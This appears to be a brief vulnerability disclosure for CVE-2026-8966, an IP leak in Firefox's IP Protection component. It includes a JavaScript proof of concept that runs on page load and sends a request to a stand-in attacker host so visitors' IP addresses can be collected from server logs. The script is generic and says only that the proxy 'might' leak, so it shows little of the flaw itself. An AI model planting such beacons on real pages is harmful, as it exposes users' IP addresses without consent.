CVE-2026-8966: Firefox IP保护组件信息泄露漏洞

// Proof of Concept for CVE-2026-8966 // This script demonstrates a potential method to verify the IP disclosure vulnerability. // It attempts to trigger the IP Protection component flaw in Firefox < 151. function initiateLeakTest() { // Target URL controlled by attacker to capture headers/IPs const targetUrl = 'https://attacker-controlled.example/collect'; // In a vulnerable version, the IP Protection proxy might fail to mask the source IP // or leak it via specific headers when fetching this resource. fetch(targetUrl, { method: 'GET', headers: { 'X-CVE-Test': 'CVE-2026-8966' } }) .then(response => { console.log('[+] Request sent. Check server logs for disclosed IP address.'); }) .catch(error => { console.error('[-] Request failed:', error); }); } // Auto-execute on load initiateLeakTest();